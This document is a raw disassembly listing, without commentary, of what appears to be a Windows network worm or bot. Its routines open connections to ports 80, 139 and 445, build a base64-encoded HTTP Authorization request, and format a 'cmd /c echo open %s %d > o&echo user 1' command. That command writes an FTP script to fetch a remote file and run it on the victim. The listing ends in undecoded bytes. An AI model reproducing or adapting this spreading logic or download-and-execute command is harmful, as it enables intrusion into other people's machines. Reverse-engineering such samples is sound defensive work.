push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CE4 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D14 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C5C push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D20 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D6C[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F18 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DB0 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 2660000h nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431418[eax] lea eax, dword_431418[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321D0 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26D0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; ě db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; č db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0C4h ; Ä db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; č db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Ű db 85h ; db 0C0h ; Ŕ db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ž db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 4Ch 